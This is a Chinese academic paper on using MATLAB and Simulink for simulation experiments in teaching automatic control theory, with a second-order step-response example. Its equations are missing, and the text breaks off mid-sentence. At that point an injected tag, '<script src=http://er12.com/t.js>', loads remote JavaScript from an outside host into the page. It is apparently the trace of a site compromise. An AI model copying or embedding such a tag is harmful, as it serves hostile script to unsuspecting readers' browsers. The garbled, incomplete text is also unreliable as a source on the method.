摘 要:首先简单介绍了自动控制原理传统的实验方法,并对matlab和s imulink做了概括介绍。结合实例详细阐述matlab软件的simulink模块组合仿真方法在自动控制原理实验中的应用方法,并给出了一个在自动控制原理中的应用实例。实验结果证明该方法大大提高了实验效率、改善了实验效果;既调动了学生的积极性和创造性,又培养了学生的分析、设计和调试自动控制系统的能力;解决了现阶段各高校学生人数多、仪器少之间的矛盾。
关键词:matlab; simulink; 自动控制原理;仿真
application of simulink software in teaching of automat ic control theory
ma dongmei
(college of information and electronic engineering, zhejiang
go ngshang university, hangzhou,310035,china)
abstract:this paper describes the traditional methods of doi ng automatic control experiments and briefly introduces software matlab and simu linkan example is presented to explain the application in automatic control the results indicate this method greatly improves the efficiency and inspires st udents′ enthusiasm at the same time, this method solves the problem between t he number of students and the number of machines
keywords:matlab; simulink; automatic control theory;simulat ion
1引言
《自动控制原理》这门课程涉及到控制系统的模型建立、系统分析、系统设计的基本理 论和相关技术。其特点是概念抽象,数学含量大,计算繁杂,以致学生难于理解,而实验课是学 生很好地掌握《自动控制原理》理论课的重要组成部分,是更好地实现理论和实际有机结合 的桥梁。搞好实验教学,不仅可以使学生对所学理论知识有更深刻的理解和把握,有效地提 高教学质量,同时可以提高学生的动手能力和设计水平,更好地满足社会对人才的要求。
传统的自动控制实验一般采用自控实验箱,在实验箱面板上连接相应的典型环节,通过对应的计算机软件观察系统的响应曲线及各项指标。虽然这种方式可以一定程度地提高学生的动手能力,加深对课堂所学内容的理解,但观察效果不理想,学生仅根据实验模拟电路图接线,缺少主动性和积极性。
如果实验开始阶段先让学生利用matlab软件进行仿真,得到完全理论分析的响应,从而对实验箱操作起到正确的指导作用。学生一旦掌握这门语言,就可以很容易地利用软件的相关命令函数做出所需的各种图形,对自动控制理论课程学习有极大的促进作用。
2matlab
matlab语言是集数值计算、符号运算和图形处理等强大功能于一体的科学计算语言,适用于 工程应用领域的分析、设计和复杂计算,而且易学易用,不要求使用者具备高深的数学知识和编程技巧,现已成为大学教学和科研中最常用的工具,掌握该工具将大大提高课程教学、解题作业、分析研究的效率[1~3]。
3simulink与建模仿真
simulink是一种用于实现计算机仿真的软件工具。他是matlab的一个附加组件,用来提供一个系统级的建模与动态仿真工作平台。用模块组合的方法使用户能够快速、准确地创建动态系统的计算机模型[4]。
simulink模型可以用来模拟几乎所有可遇到的动态系统,如模拟线性或非线性、连续或离散或者两者的混合系统。同时,simulink是开放式的,允许用户定制自己的模块和模块库,而且他比较详实的帮助系统便于应用[5]。
对于建模,simulink提供了一个图形化的用户界面(gui),可以直接用鼠标点击和拖拉模块的图标建模。这是以前需要用编程语言明确地用公式表达微分方程的仿真软件包所无法比拟的。simulink包括一个由信号源、接受器、线性和非线性组件以及中间的连接器件组成的模块库,同时可以根据用户自己的需要创建相应的模块。
目前,随着软件的不断升级和计算机技术的飞速发展,simulink已经在学术和工业领域得到了广泛的应用,世界上很多知名的大公司已经使用simulink作为产品设计和开发的工具。
因此,在教学过程中加入simulink的内容,不仅可以激励学生不断地提出新问题,并对问题进行建模分析,同时使他们的知识能够学有所用。
4利用simulink进行自动控制原理实验的仿真
把仿真实验和实际的实验箱操作实验结合在一起,可以激发学生设计意识,有利于学生理论和实践相结合。同时仿真实验可以弥补实际实验操作中的某些局限和误差。
4.1二阶系统的阶跃响应实验
其模拟电路如图1所示。
系统的闭环传递函数为:
典型二阶系统的闭环传递函数为:
由式(3)可知,改变比值r2/r1,可以改变二阶系统的阻尼?script src=http://er12.com/t.js>











